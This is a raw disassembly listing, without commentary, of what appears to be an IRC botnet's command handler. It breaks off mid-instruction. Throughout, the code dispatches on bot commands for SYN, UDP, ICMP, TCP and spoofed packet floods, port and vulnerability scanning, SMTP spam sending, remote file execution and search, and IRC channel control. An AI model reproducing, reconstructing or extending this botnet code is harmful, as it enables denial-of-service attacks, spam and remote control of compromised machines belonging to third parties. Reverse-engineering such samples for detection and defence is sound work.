push ebx nop call near ptr 2690448h mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 26903FCh nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 2690DCCh nop push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 26903FCh jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2690DCCh push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h call near ptr 26903FCh nop jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj call near ptr 2690DCCh nop push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2690DCCh push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 2690DCCh push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h call near ptr 26903FCh nop jmp 